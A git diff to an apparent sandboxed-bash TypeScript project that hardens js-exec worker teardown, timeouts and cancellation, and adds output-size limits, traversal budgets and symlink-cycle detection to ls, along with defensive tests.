+  it("does not accept an uncorrelated initialization failure", async () => {
+    const execution = jsExecCommand.execute(["-c", "1"], context());
+    const worker = mockState.workers[0];
+    worker.emit("message", {
+      protocolToken: "wrong-token",
+      type: "initialization-failure",
+      success: false,
+      error: "forged startup failure",
+    });
+
+    const result = await execution;
+    expect(result.stderr).toContain("invalid protocol token");
+    expect(worker.terminated).toBe(false);
+  });
+
+  it("removes an aborted queued request without posting it", async () => {
+    const first = jsExecCommand.execute(["-c", "1"], context());
+    const abort = new AbortController();
+    const second = jsExecCommand.execute(["-c", "2"], context(abort.signal));
+    abort.abort();
+
+    const secondResult = await second;
+    expect(secondResult.stderr).toContain("Execution aborted");
+    expect(mockState.workers[0].inputs).toHaveLength(1);
+
+    const token = mockState.workers[0].inputs[0].protocolToken;
+    mockState.workers[0].emit("message", {
+      protocolToken: token,
+      success: true,
+    });
+    await first;
+    expect(mockState.workers[0].inputs).toHaveLength(1);
+  });
+
+  it("rolls back a constructor failure and dispatches a later request", async () => {
+    mockState.constructorThrows = 1;
+    const failed = await jsExecCommand.execute(["-c", "1"], context());
+    expect(failed.stderr).toContain("mock worker constructor failed");
+
+    const succeeding = jsExecCommand.execute(["-c", "2"], context());
+    expect(mockState.workers).toHaveLength(1);
+    const worker = mockState.workers[0];
+    expect(worker.inputs).toHaveLength(1);
+    worker.emit("message", {
+      protocolToken: worker.inputs[0].protocolToken,
+      success: true,
+    });
+    expect((await succeeding).exitCode).toBe(0);
+  });
+
+  it("tears down after postMessage throws before dispatching again", async () => {
+    mockState.postMessageThrows = 1;
+    mockState.holdTermination = true;
+    let failedSettled = false;
+    const failedPromise = jsExecCommand.execute(["-c", "1"], context());
+    void failedPromise.then(() => {
+      failedSettled = true;
+    });
+    expect(mockState.workers[0].terminated).toBe(true);
+
+    const succeeding = jsExecCommand.execute(["-c", "2"], context());
+    // The replacement must remain queued until teardown acknowledges; no two
+    // workers may own bridge authority concurrently. The failed request also
+    // remains live so its teardown callback cannot be suppressed on sandbox
+    // deactivation.
+    expect(mockState.workers).toHaveLength(1);
+    expect(failedSettled).toBe(false);
+    mockState.terminationResolvers.shift()?.();
+    const failed = await failedPromise;
+    expect(failed.stderr).toContain("mock worker postMessage failed");
+    await vi.waitFor(() => expect(mockState.workers).toHaveLength(2));
+    const worker = mockState.workers[1];
+    expect(worker.inputs).toHaveLength(1);
+    worker.emit("message", {
+      protocolToken: worker.inputs[0].protocolToken,
+      success: true,
+    });
+    expect((await succeeding).exitCode).toBe(0);
+  });
+
+  it("does not dispatch a replacement when worker termination rejects", async () => {
+    mockState.postMessageThrows = 1;
+    mockState.terminationRejects = true;
+    const failed = await jsExecCommand.execute(["-c", "1"], context());
+    expect(failed.stderr).toContain("mock worker postMessage failed");
+    expect(mockState.workers).toHaveLength(1);
+
+    // Allow the rejected termination promise to poison the singleton.
+    await new Promise<void>((resolve) => setTimeout(resolve, 0));
+    const next = await jsExecCommand.execute(["-c", "2"], context());
+    expect(next.stderr).toContain("worker termination was not acknowledged");
+    expect(next.exitCode).toBe(1);
+    expect(mockState.workers).toHaveLength(1);
+    expect(mockState.workers[0].inputs).toHaveLength(0);
+  });
+});
diff --git a/packages/just-bash/src/commands/js-exec/js-exec.security.test.ts b/packages/just-bash/src/commands/js-exec/js-exec.security.test.ts
index 263883a1..2f96538a 100644
--- a/packages/just-bash/src/commands/js-exec/js-exec.security.test.ts
+++ b/packages/just-bash/src/commands/js-exec/js-exec.security.test.ts
@@ -208,6 +208,23 @@ describe("js-exec security", () => {
   });
 
   describe("timeout DoS prevention", () => {
+    it(
+      "does not raise an explicit host timeout when network is enabled",
+      { timeout: 10_000 },
+      async () => {
+        const env = new Bash({
+          javascript: true,
+          network: { dangerouslyAllowFullInternetAccess: true },
+          executionLimits: { maxJsTimeoutMs: 200 },
+        });
+        const started = Date.now();
+        const result = await env.exec(`js-exec -c "while(true){}"`);
+        expect(result.exitCode).not.toBe(0);
+        expect(result.stderr).toContain("timeout");
+        expect(Date.now() - started).toBeLessThan(5_000);
+      },
+    );
+
     it(
       "should recover after timeout — subsequent execution succeeds",
       { timeout: 30000 },
diff --git a/packages/just-bash/src/commands/js-exec/js-exec.ts b/packages/just-bash/src/commands/js-exec/js-exec.ts
index 470c3611..2822fec0 100644
--- a/packages/just-bash/src/commands/js-exec/js-exec.ts
+++ b/packages/just-bash/src/commands/js-exec/js-exec.ts
@@ -8,7 +8,6 @@
  */
 
 import { AsyncLocalStorage } from "node:async_hooks";
-import { randomBytes } from "node:crypto";
 import { fileURLToPath } from "node:url";
 import { Worker } from "node:worker_threads";
 import { decodeBytesToUtf8 } from "../../encoding.js";
@@ -21,23 +20,21 @@ import { getErrorMessage } from "../../interpreter/helpers/errors.js";
 import { DefenseInDepthBox } from "../../security/defense-in-depth-box.js";
 import { _clearTimeout, _setTimeout } from "../../timers.js";
 import type {
-  Command,
-  CommandContext,
   CommandExecOptions,
   ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
 } from "../../types.js";
 import { hasHelpFlag } from "../help.js";
 import { BridgeHandler } from "../worker-bridge/bridge-handler.js";
 import { createSharedBuffer } from "../worker-bridge/protocol.js";
+import { WorkerRequestController } from "../worker-request-controller.js";
 import type {
   JsExecWorkerInput,
   JsExecWorkerOutput,
 } from "./js-exec-worker.js";
 
-/** Default JavaScript execution timeout in milliseconds */
-const DEFAULT_JS_TIMEOUT_MS = 10000;
 /** Default JavaScript execution timeout when network is enabled */
-const DEFAULT_JS_NETWORK_TIMEOUT_MS = 60000;
 
 /**
  * Tracks js-exec execution context via AsyncLocalStorage.
@@ -129,7 +126,7 @@ Not Available:
 
 Limits:
   Memory: 64 MB per execution
-  Timeout: 10 s (60 s with network; configurable via maxJsTimeoutMs)
+  Timeout: 10 s by default; configurable via maxJsTimeoutMs
   Engine: QuickJS (compiled to WebAssembly)
 `;
 
@@ -221,21 +218,81 @@ let workerIdleTimeout: ReturnType<typeof setTimeout> | null = null;
 // Queue for serializing JS executions (QuickJS is single-threaded)
 type QueuedExecution = {
   input: JsExecWorkerInput;
+  bridgeHandler: BridgeHandler;
   resolve: (result: JsExecWorkerOutput) => void;
-  canceled?: boolean;
+  controller: WorkerRequestController;
 };
 const executionQueue: QueuedExecution[] = [];
 let currentExecution: QueuedExecution | null = null;
+let workerInitializationFailure: string | null = null;
+const WORKER_TERMINATION_ACK_MS = 1_000;
+
+function terminateOwnedWorker(
+  owner: QueuedExecution,
+  worker: Worker,
+  ownerResult: JsExecWorkerOutput,
+): void {
+  // Keep the owning request alive until teardown settles. Defense-in-depth
+  // intentionally suppresses callbacks inherited from a deactivated execution;
+  // resolving first would therefore strand currentExecution forever.
+  owner.controller.close();
+  let settled = false;
+  const failClosed = (): void => {
+    if (settled) return;
+    settled = true;
+    _clearTimeout(timer);
+    if (currentExecution !== owner) return;
+    // Rejection is not proof that the worker stopped. Retain ownership and
+    // poison the singleton so no replacement can overlap stale authority.
+    workerInitializationFailure = "worker termination was not acknowledged";
+    for (const queued of executionQueue) {
+      queued.bridgeHandler.stop();
+      queued.resolve({ success: false, error: workerInitializationFailure });
+    }
+    executionQueue.length = 0;
+    owner.resolve(ownerResult);
+  };
+  const acknowledge = (): void => {
+    if (settled) return;
+    settled = true;
+    _clearTimeout(timer);
+    if (currentExecution !== owner) return;
+    owner.resolve(ownerResult);
+    currentExecution = null;
+    processNextExecution();
+  };
+  const timer = _setTimeout(() => {
+    failClosed();
+  }, WORKER_TERMINATION_ACK_MS);
+  void owner.controller
+    .terminate(worker)
+    .then(
+      (terminated) => (terminated ? acknowledge() : failClosed()),
+      failClosed,
+    );
+}
+
+/** @internal Reset singleton worker state — for focused protocol tests only. */
+export function _resetJsExecWorkerForTests(): void {
+  if (workerIdleTimeout) {
+    _clearTimeout(workerIdleTimeout);
+    workerIdleTimeout = null;
+  }
+  currentExecution?.bridgeHandler.stop();
+  currentExecution = null;
+  for (const queued of executionQueue) queued.bridgeHandler.stop();
+  executionQueue.length = 0;
+  const worker = sharedWorker;
+  sharedWorker = null;
+  if (worker) void worker.terminate();
+  workerInitializationFailure = null;
+}
 
 const workerPath = fileURLToPath(
   new URL("./js-exec-worker.js", import.meta.url),
 );
 
 function processNextExecution(): void {
-  // Skip canceled entries (timed out before execution started)
-  while (executionQueue.length > 0 && executionQueue[0].canceled) {
-    executionQueue.shift();
-  }
   if (currentExecution || executionQueue.length === 0) {
     return;
   }
@@ -245,8 +302,29 @@ function processNextExecution(): void {
     return;
   }
   currentExecution = next;
-  const worker = getOrCreateWorker();
-  worker.postMessage(currentExecution.input);
+  let worker: Worker | null = null;
+  try {
+    worker = getOrCreateWorker();
+    worker.postMessage(next.input);
+  } catch (error) {
+    // Dispatch is transactional: an entry owns the slot only if its message
+    // was posted. Settle the identity-owned entry and gate the next dispatch
+    // on teardown of any worker that was partially created.
+    next.bridgeHandler.stop();
+    const result: JsExecWorkerOutput = {
+      success: false,
+      error: sanitizeHostErrorMessage(getErrorMessage(error)),
+    };
+    const partialWorker = worker ?? sharedWorker;
+    if (sharedWorker === partialWorker) sharedWorker = null;
+    if (partialWorker) {
+      terminateOwnedWorker(next, partialWorker, result);
+    } else {
+      next.resolve(result);
+      if (currentExecution === next) currentExecution = null;
+      processNextExecution();
+    }
+  }
 }
 
 /**
@@ -263,6 +341,7 @@ function normalizeJsWorkerMessage(
 
   const raw = msg as {
     protocolToken?: unknown;
+    type?: unknown;
     success?: unknown;
     error?: unknown;
     defenseStats?: unknown;
@@ -291,6 +370,10 @@ function normalizeJsWorkerMessage(
 
   return {
     success: false,
+    type:
+      raw.type === "initialization-failure"
+        ? "initialization-failure"
+        : undefined,
     error:
       typeof raw.error === "string" && raw.error.length > 0
         ? raw.error
@@ -309,6 +392,7 @@ function getOrCreateWorker(): Worker {
     return sharedWorker;
   }
 
+  // @banned-pattern-ignore: singleton constructor is owned by each WorkerRequestController request lifecycle
   const worker = DefenseInDepthBox.runTrusted(() => new Worker(workerPath));
   sharedWorker = worker;
 
@@ -318,10 +402,38 @@ function getOrCreateWorker(): Worker {
       return;
     }
     if (currentExecution) {
-      const result = normalizeJsWorkerMessage(
-        msg,
-        currentExecution.input.protocolToken,
-      );
+      let result: JsExecWorkerOutput;
+      try {
+        currentExecution.controller.assertMessageSize(msg, "response");
+        result = normalizeJsWorkerMessage(
+          msg,
+          currentExecution.input.protocolToken,
+        );
+      } catch (error) {
+        result = {
+          success: false,
+          error: sanitizeHostErrorMessage(getErrorMessage(error)),
+        };
+      }
+      if (result.type === "initialization-failure") {
+        workerInitializationFailure =
+          result.error ?? "Worker initialization failed";
+        currentExecution.bridgeHandler.stop();
+        currentExecution.resolve(result);
+        currentExecution = null;
+        for (const queued of executionQueue) {
+          queued.bridgeHandler.stop();
+          queued.resolve({
+            success: false,
+            type: "initialization-failure",
+            error: workerInitializationFailure,
+          });
+        }
+        executionQueue.length = 0;
+        sharedWorker = null;
+        void worker.terminate();
+        return;
+      }
       currentExecution.resolve(result);
       currentExecution = null;
     }
@@ -388,7 +500,7 @@ function scheduleWorkerTermination(): void {
  */
 async function executeJS(
   jsCode: string,
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   scriptPath?: string,
   scriptArgs: string[] = [],
   bootstrapCode?: string,
@@ -421,6 +533,7 @@ async function queueAndRun(
   workerInput: JsExecWorkerInput,
   bridgeHandler: BridgeHandler,
   timeoutMs: number,
+  controller: WorkerRequestController,
 ): Promise<{
   bridgeOutput: import("../worker-bridge/bridge-handler.js").BridgeOutput;
   workerResult: JsExecWorkerOutput;
@@ -432,37 +545,60 @@ async function queueAndRun(
 
   const queueEntry: QueuedExecution = {
     input: workerInput,
+    bridgeHandler,
     resolve: () => {},
+    controller,
   };
+  controller.assertMessageSize(
+    { ...workerInput, sharedBuffer: undefined },
+    "request",
+  );
 
-  const timeoutHandle = _setTimeout(() => {
+  const cancel = (reason: "abort" | "timeout"): void => {
+    bridgeHandler.stop();
+    const result: JsExecWorkerOutput = {
+      success: false,
+      error:
+        reason === "abort"
+          ? queueEntry.controller.abortMessage()
+          : queueEntry.controller.timeoutMessage(),
+    };
     if (currentExecution === queueEntry) {
       const workerToTerminate = sharedWorker;
+      sharedWorker = null;
       if (workerToTerminate) {
-        sharedWorker = null;
-        void workerToTerminate.terminate();
-      }
-      currentExecution = null;
-      processNextExecution();
-    } else {
-      queueEntry.canceled = true;
-      if (!currentExecution) {
+        terminateOwnedWorker(queueEntry, workerToTerminate, result);
+      } else {
+        queueEntry.resolve(result);
+        currentExecution = null;
         processNextExecution();
       }
+    } else {
+      const index = executionQueue.indexOf(queueEntry);
+      if (index !== -1) executionQueue.splice(index, 1);
+      queueEntry.resolve(result);
+      if (!currentExecution) processNextExecution();
     }
-    queueEntry.resolve({
-      success: false,
-      error: `Execution timeout: exceeded ${timeoutMs}ms limit`,
-    });
-  }, timeoutMs);
+  };
 
   queueEntry.resolve = (result: JsExecWorkerOutput) => {
-    _clearTimeout(timeoutHandle);
+    queueEntry.controller.close();
     resolveWorker(result);
   };
 
-  executionQueue.push(queueEntry);
-  processNextExecution();
+  // Cancellation must be observable before queue insertion.
+  queueEntry.controller.arm(cancel);
+  if (!queueEntry.controller.isCanceled) {
+    executionQueue.push(queueEntry);
+    try {
+      processNextExecution();
+    } catch (error) {
+      const index = executionQueue.indexOf(queueEntry);
+      if (index !== -1) executionQueue.splice(index, 1);
+      queueEntry.controller.close();
+      throw error;
+    }
+  }
 
   const [bridgeOutput, workerResult] = await Promise.all([
     bridgeHandler.run(timeoutMs),
@@ -476,22 +612,26 @@ async function queueAndRun(
 }
 
 /** Resolve the effective timeout for a js-exec execution. */
-function resolveTimeout(ctx: CommandContext): number {
-  const userTimeout = ctx.limits?.maxJsTimeoutMs ?? DEFAULT_JS_TIMEOUT_MS;
-  return ctx.fetch
-    ? Math.max(userTimeout, DEFAULT_JS_NETWORK_TIMEOUT_MS)
-    : userTimeout;
+function resolveTimeout(ctx: RuntimeCommandContext): number {
+  return ctx.limits.maxJsTimeoutMs;
 }
 
 async function executeJSInner(
   jsCode: string,
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   scriptPath?: string,
   scriptArgs: string[] = [],
   bootstrapCode?: string,
   isModule?: boolean,
   stripTypes?: boolean,
 ): Promise<ExecResult> {
+  if (workerInitializationFailure !== null) {
+    return {
+      stdout: "",
+      stderr: `js-exec: ${sanitizeHostErrorMessage(workerInitializationFailure)}\n`,
+      exitCode: 1,
+    };
+  }
   const sharedBuffer = createSharedBuffer();
 
   // Wrap ctx.exec to set AsyncLocalStorage context for re-entrant detection.
@@ -509,16 +649,21 @@ async function executeJSInner(
     ctx.cwd,
     "js-exec",
     ctx.fetch,
-    ctx.limits?.maxOutputSize ?? 0,
+    ctx.limits.maxOutputSize,
     wrappedExec,
     ctx.invokeTool,
   );
 
   const timeoutMs = resolveTimeout(ctx);
-  const protocolToken = randomBytes(16).toString("hex");
+  const requestController = new WorkerRequestController({
+    commandName: "js-exec",
+    timeoutMs,
+    signal: ctx.signal,
+    maxMessageBytes: ctx.limits.maxWorkerMessageBytes,
+  });
 
   const workerInput: JsExecWorkerInput = {
-    protocolToken,
+    protocolToken: requestController.protocolToken,
     sharedBuffer,
     jsCode,
     cwd: ctx.cwd,
@@ -536,13 +681,17 @@ async function executeJSInner(
     workerInput,
     bridgeHandler,
     timeoutMs,
+    requestController,
   );
 
   if (!workerResult.success && workerResult.error) {
+    const canceled =
+      workerResult.error === requestController.timeoutMessage() ||
+      workerResult.error === requestController.abortMessage();
     return {
       stdout: bridgeOutput.stdout,
       stderr: `${bridgeOutput.stderr}js-exec: ${sanitizeHostErrorMessage(workerResult.error)}\n`,
-      exitCode: bridgeOutput.exitCode || 1,
+      exitCode: bridgeOutput.exitCode || (canceled ? 124 : 1),
     };
   }
 
@@ -552,10 +701,13 @@ async function executeJSInner(
   };
 }
 
-export const jsExecCommand: Command = {
+export const jsExecCommand: RuntimeCommand = {
   name: "js-exec",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return { stdout: JS_EXEC_HELP, stderr: "", exitCode: 0 };
     }
@@ -635,7 +787,7 @@ export const jsExecCommand: Command = {
       isModule = true;
     }
 
-    // Get bootstrap code from context (threaded via CommandContext, not env)
+    // Get bootstrap code from context (threaded via RuntimeCommandContext, not env)
     const bootstrapCode = ctx.jsBootstrapCode;
 
     return executeJS(
@@ -650,7 +802,7 @@ export const jsExecCommand: Command = {
   },
 };
 
-export const nodeStubCommand: Command = {
+export const nodeStubCommand: RuntimeCommand = {
   name: "node",
   async execute(): Promise<ExecResult> {
     return {
diff --git a/packages/just-bash/src/commands/ln/ln.test.ts b/packages/just-bash/src/commands/ln/ln.test.ts
index 401e35da..141feabf 100644
--- a/packages/just-bash/src/commands/ln/ln.test.ts
+++ b/packages/just-bash/src/commands/ln/ln.test.ts
@@ -103,6 +103,14 @@ describe("ln command", () => {
       expect(result.stderr).toContain("missing file operand");
     });
 
+    it("rejects extra operands without creating a partial link", async () => {
+      const env = new Bash({ files: { "/target.txt": "hello\n" } });
+      const result = await env.exec("ln /target.txt /link.txt ignored");
+      expect(result.exitCode).toBe(1);
+      expect(result.stderr).toContain("extra operand 'ignored'");
+      expect((await env.exec("test -e /link.txt")).exitCode).toBe(1);
+    });
+
     it("should show help with --help", async () => {
       const env = new Bash();
       const result = await env.exec("ln --help");
diff --git a/packages/just-bash/src/commands/ln/ln.ts b/packages/just-bash/src/commands/ln/ln.ts
index 2b68e670..ca8a2e53 100644
--- a/packages/just-bash/src/commands/ln/ln.ts
+++ b/packages/just-bash/src/commands/ln/ln.ts
@@ -1,5 +1,9 @@
 import { sanitizeErrorMessage } from "../../fs/sanitize-error.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { hasHelpFlag, showHelp, unknownOption } from "../help.js";
 
 const lnHelp = {
@@ -15,10 +19,13 @@ const lnHelp = {
   ],
 };
 
-export const lnCommand: Command = {
+export const lnCommand: RuntimeCommand = {
   name: "ln",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(lnHelp);
     }
@@ -63,6 +70,13 @@ export const lnCommand: Command = {
     if (remaining.length < 2) {
       return { stdout: "", stderr: "ln: missing file operand\n", exitCode: 1 };
     }
+    if (remaining.length > 2) {
+      return {
+        stdout: "",
+        stderr: `ln: extra operand '${remaining[2]}'\n`,
+        exitCode: 1,
+      };
+    }
 
     const target = remaining[0];
     const linkName = remaining[1];
diff --git a/packages/just-bash/src/commands/ls/ls.security.test.ts b/packages/just-bash/src/commands/ls/ls.security.test.ts
new file mode 100644
index 00000000..095a5c8f
--- /dev/null
+++ b/packages/just-bash/src/commands/ls/ls.security.test.ts
@@ -0,0 +1,37 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../../Bash.js";
+import { InMemoryFs } from "../../fs/in-memory-fs/in-memory-fs.js";
+
+class FailingReaddirFs extends InMemoryFs {
+  override async readdir(path: string): Promise<string[]> {
+    if (this.resolvePath("/", path) === "/root/bad") {
+      throw new Error("injected child failure");
+    }
+    return super.readdir(path);
+  }
+}
+
+describe("ls path and recursive error boundaries", () => {
+  it("does not classify a prefix-sharing sibling as inside cwd", async () => {
+    const bash = new Bash({
+      cwd: "/foo",
+      files: { "/foo/bar-safe": "", "/foobar/secret": "" },
+    });
+    const result = await bash.exec("ls 'bar*'");
+    expect(result.stdout).toBe("bar-safe\n");
+    expect(result.stderr).toBe("");
+    expect(result.exitCode).toBe(0);
+  });
+
+  it("retains recursive child errors and a nonzero aggregate status", async () => {
+    const fs = new FailingReaddirFs({
+      "/root/bad/file": "bad",
+      "/root/good/file": "good",
+    });
+    const bash = new Bash({ fs, cwd: "/" });
+    const result = await bash.exec("ls -R /root");
+    expect(result.stdout).toBe("/root:\nbad\ngood\n\n\n/root/good:\nfile\n");
+    expect(result.stderr).toBe("ls: /root/bad: No such file or directory\n");
+    expect(result.exitCode).toBe(2);
+  });
+});
diff --git a/packages/just-bash/src/commands/ls/ls.ts b/packages/just-bash/src/commands/ls/ls.ts
index a59ef003..00044d8b 100644
--- a/packages/just-bash/src/commands/ls/ls.ts
+++ b/packages/just-bash/src/commands/ls/ls.ts
@@ -1,10 +1,51 @@
 import { minimatch } from "minimatch";
+import { BoundedStringBuilder } from "../../bounded-builder.js";
+import { utf8ByteLength } from "../../encoding.js";
 import type { FsStat } from "../../fs/interface.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import { FileTraversalBudget } from "../../fs/traversal.js";
+import {
+  ExecutionAbortedError,
+  ExecutionLimitError,
+} from "../../interpreter/errors.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { parseArgs } from "../../utils/args.js";
 import { DEFAULT_BATCH_SIZE } from "../../utils/constants.js";
 import { hasHelpFlag, showHelp } from "../help.js";
 
+function appendLsOutput(
+  ctx: RuntimeCommandContext,
+  current: string,
+  next: string,
+): string {
+  if (
+    utf8ByteLength(next) >
+    ctx.limits.maxOutputSize - utf8ByteLength(current)
+  ) {
+    throw new ExecutionLimitError(
+      `ls: output size limit exceeded (${ctx.limits.maxOutputSize} bytes)`,
+      "output_size",
+    );
+  }
+  return current + next;
+}
+
+function joinLsLines(
+  ctx: RuntimeCommandContext,
+  lines: readonly string[],
+): string {
+  const output = new BoundedStringBuilder(ctx.limits.maxOutputSize, "ls");
+  for (let index = 0; index < lines.length; index++) {
+    if (index > 0) output.append("\n");
+    output.append(lines[index]);
+  }
+  if (lines.length > 0) output.append("\n");
+  return output.build();
+}
+
 // Format size in human-readable format (e.g., 1.5K, 234M, 2G)
 function formatHumanSize(bytes: number): string {
   if (bytes < 1024) return String(bytes);
@@ -97,10 +138,13 @@ const argDefs = {
   onePerLine: { short: "1", type: "boolean" as const },
 };
 
-export const lsCommand: Command = {
+export const lsCommand: RuntimeCommand = {
   name: "ls",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(lsHelp);
     }
@@ -130,13 +174,19 @@ export const lsCommand: Command = {
     let stdout = "";
     let stderr = "";
     let exitCode = 0;
+    const traversalBudget = new FileTraversalBudget({
+      limits: ctx.limits,
+      signal: ctx.signal,
+      executionScope: ctx.executionScope,
+      site: "ls",
+    });
 
     for (let i = 0; i < paths.length; i++) {
       const path = paths[i];
 
       // Add blank line between directory listings
       if (i > 0 && stdout && !stdout.endsWith("\n\n")) {
-        stdout += "\n";
+        stdout = appendLsOutput(ctx, stdout, "\n");
       }
 
       // With -d flag, just list the directories/files themselves, not their contents
@@ -157,15 +207,23 @@ export const lsCommand: Command = {
               : String(size).padStart(5);
             const mtime = stat.mtime ?? new Date(0);
             const dateStr = formatDate(mtime);
-            stdout += `${mode} 1 user user ${sizeStr} ${dateStr} ${path}${suffix}\n`;
+            stdout = appendLsOutput(
+              ctx,
+              stdout,
+              `${mode} 1 user user ${sizeStr} ${dateStr} ${path}${suffix}\n`,
+            );
           } else {
             const suffix = classifyFiles
               ? classifySuffix(await ctx.fs.lstat(fullPath))
               : "";
-            stdout += `${path}${suffix}\n`;
+            stdout = appendLsOutput(ctx, stdout, `${path}${suffix}\n`);
           }
         } catch {
-          stderr += `ls: cannot access '${path}': No such file or directory\n`;
+          stderr = appendLsOutput(
+            ctx,
+            stderr,
+            `ls: cannot access '${path}': No such file or directory\n`,
+          );
           exitCode = 2;
         }
         continue;
@@ -183,9 +241,10 @@ export const lsCommand: Command = {
           humanReadable,
           sortBySize,
           classifyFiles,
+          traversalBudget,
         );
-        stdout += result.stdout;
-        stderr += result.stderr;
+        stdout = appendLsOutput(ctx, stdout, result.stdout);
+        stderr = appendLsOutput(ctx, stderr, result.stderr);
         if (result.exitCode !== 0) exitCode = result.exitCode;
       } else {
         const result = await listPath(
@@ -200,9 +259,13 @@ export const lsCommand: Command = {
           humanReadable,
           sortBySize,
           classifyFiles,
+          false,
+          traversalBudget,
+          0,
+          new Set(),
         );
-        stdout += result.stdout;
-        stderr += result.stderr;
+        stdout = appendLsOutput(ctx, stdout, result.stdout);
+        stderr = appendLsOutput(ctx, stderr, result.stderr);
         if (result.exitCode !== 0) exitCode = result.exitCode;
       }
     }
@@ -213,7 +276,7 @@ export const lsCommand: Command = {
 
 async function listGlob(
   pattern: string,
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   showAll: boolean,
   showAlmostAll: boolean,
   longFormat: boolean,
@@ -221,6 +284,7 @@ async function listGlob(
   humanReadable: boolean = false,
   sortBySize: boolean = false,
   classifyFiles: boolean = false,
+  traversalBudget?: FileTraversalBudget,
 ): Promise<ExecResult> {
   const showHidden = showAll || showAlmostAll;
   const allPaths = ctx.fs.getAllPaths();
@@ -228,8 +292,11 @@ async function listGlob(
 
   const matches: string[] = [];
   for (const p of allPaths) {
-    const relativePath = p.startsWith(basePath)
-      ? p.slice(basePath.length + 1) || p
+    traversalBudget?.visit(p.split("/").length - 1);
+    const isWithinBase =
+      p === basePath || basePath === "/" || p.startsWith(`${basePath}/`);
+    const relativePath = isWithinBase
+      ? p.slice(basePath === "/" ? 1 : basePath.length + 1) || p
       : p;
 
     if (minimatch(relativePath, pattern) || minimatch(p, pattern)) {
@@ -297,7 +364,11 @@ async function listGlob(
         lines.push(`-rw-r--r-- 1 user user     0 Jan  1 00:00 ${match}`);
       }
     }
-    return { stdout: `${lines.join("\n")}\n`, stderr: "", exitCode: 0 };
+    return {
+      stdout: joinLsLines(ctx, lines),
+      stderr: "",
+      exitCode: 0,
+    };
   }
 
   if (classifyFiles) {
@@ -311,15 +382,23 @@ async function listGlob(
         classified.push(match);
       }
     }
-    return { stdout: `${classified.join("\n")}\n`, stderr: "", exitCode: 0 };
+    return {
+      stdout: joinLsLines(ctx, classified),
+      stderr: "",
+      exitCode: 0,
+    };
   }
 
-  return { stdout: `${matches.join("\n")}\n`, stderr: "", exitCode: 0 };
+  return {
+    stdout: joinLsLines(ctx, matches),
+    stderr: "",
+    exitCode: 0,
+  };
 }
 
 async function listPath(
   path: string,
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   showAll: boolean,
   showAlmostAll: boolean,
   longFormat: boolean,
@@ -330,11 +409,20 @@ async function listPath(
   sortBySize: boolean = false,
   classifyFiles: boolean = false,
   _isSubdir: boolean = false,
+  traversalBudget: FileTraversalBudget = new FileTraversalBudget({
+    limits: ctx.limits,
+    signal: ctx.signal,
+    executionScope: ctx.executionScope,
+    site: "ls",
+  }),
+  traversalDepth = 0,
+  ancestorIdentities: Set<string> = new Set(),
 ): Promise<ExecResult> {
   const showHidden = showAll || showAlmostAll;
   const fullPath = ctx.fs.resolvePath(ctx.cwd, path);
 
   try {
+    traversalBudget.visit(traversalDepth);
     const stat = await ctx.fs.stat(fullPath);
 
     if (!stat.isDirectory) {
@@ -358,8 +446,24 @@ async function listPath(
       return { stdout: `${path}${fileSuffix}\n`, stderr: "", exitCode: 0 };
     }
 
+    const identity =
+      stat.identity ??
+      (stat.dev !== undefined && stat.ino !== undefined
+        ? `${String(stat.dev)}:${String(stat.ino)}`
+        : await ctx.fs.realpath(fullPath).catch(() => undefined));
+    if (identity !== undefined && ancestorIdentities.has(identity)) {
+      return {
+        stdout: "",
+        stderr: `ls: ${path}: symbolic link cycle detected\n`,
+        exitCode: 2,
+      };
+    }
+    const childAncestors = new Set(ancestorIdentities);
+    if (identity !== undefined) childAncestors.add(identity);
+
     // It's a directory
     let entries = await ctx.fs.readdir(fullPath);
+    traversalBudget.checkpoint();
 
     // Filter hidden files unless -a or -A
     if (!showHidden) {
@@ -396,6 +500,8 @@ async function listPath(
     }
 
     let stdout = "";
+    let stderr = "";
+    let exitCode = 0;
 
     // For recursive listing:
     // - All directories get a header (including the first one)
@@ -403,11 +509,11 @@ async function listPath(
     // - Subdirectories use './subdir:' format when starting from '.'
     // - When starting from other path, subdirs use '{path}/subdir:' format
     if (recursive || showHeader) {
-      stdout += `${path}:\n`;
+      stdout = appendLsOutput(ctx, stdout, `${path}:\n`);
     }
 
     if (longFormat) {
-      stdout += `total ${entries.length}\n`;
+      stdout = appendLsOutput(ctx, stdout, `total ${entries.length}\n`);
 
       // Separate special entries (. and ..) from regular entries
       const specialEntries = entries.filter((e) => e === "." || e === "..");
@@ -415,7 +521,11 @@ async function listPath(
 
       // Add special entries first
       for (const entry of specialEntries) {
-        stdout += `drwxr-xr-x 1 user user     0 Jan  1 00:00 ${entry}\n`;
+        stdout = appendLsOutput(
+          ctx,
+          stdout,
+          `drwxr-xr-x 1 user user     0 Jan  1 00:00 ${entry}\n`,
+        );
       }
 
       // Parallelize stat calls for regular entries
@@ -466,7 +576,7 @@ async function listPath(
       );
 
       for (const { line } of entryStats) {
-        stdout += line;
+        stdout = appendLsOutput(ctx, stdout, line);
       }
     } else if (classifyFiles) {
       // Classify each entry with type suffix
@@ -495,9 +605,9 @@ async function listPath(
         classified.push(...batchResults);
       }
 
-      stdout += classified.join("\n") + (classified.length ? "\n" : "");
+      stdout = appendLsOutput(ctx, stdout, joinLsLines(ctx, classified));
     } else {
-      stdout += entries.join("\n") + (entries.length ? "\n" : "");
+      stdout = appendLsOutput(ctx, stdout, joinLsLines(ctx, entries));
     }
 
     // Handle recursive - parallel processing for better performance
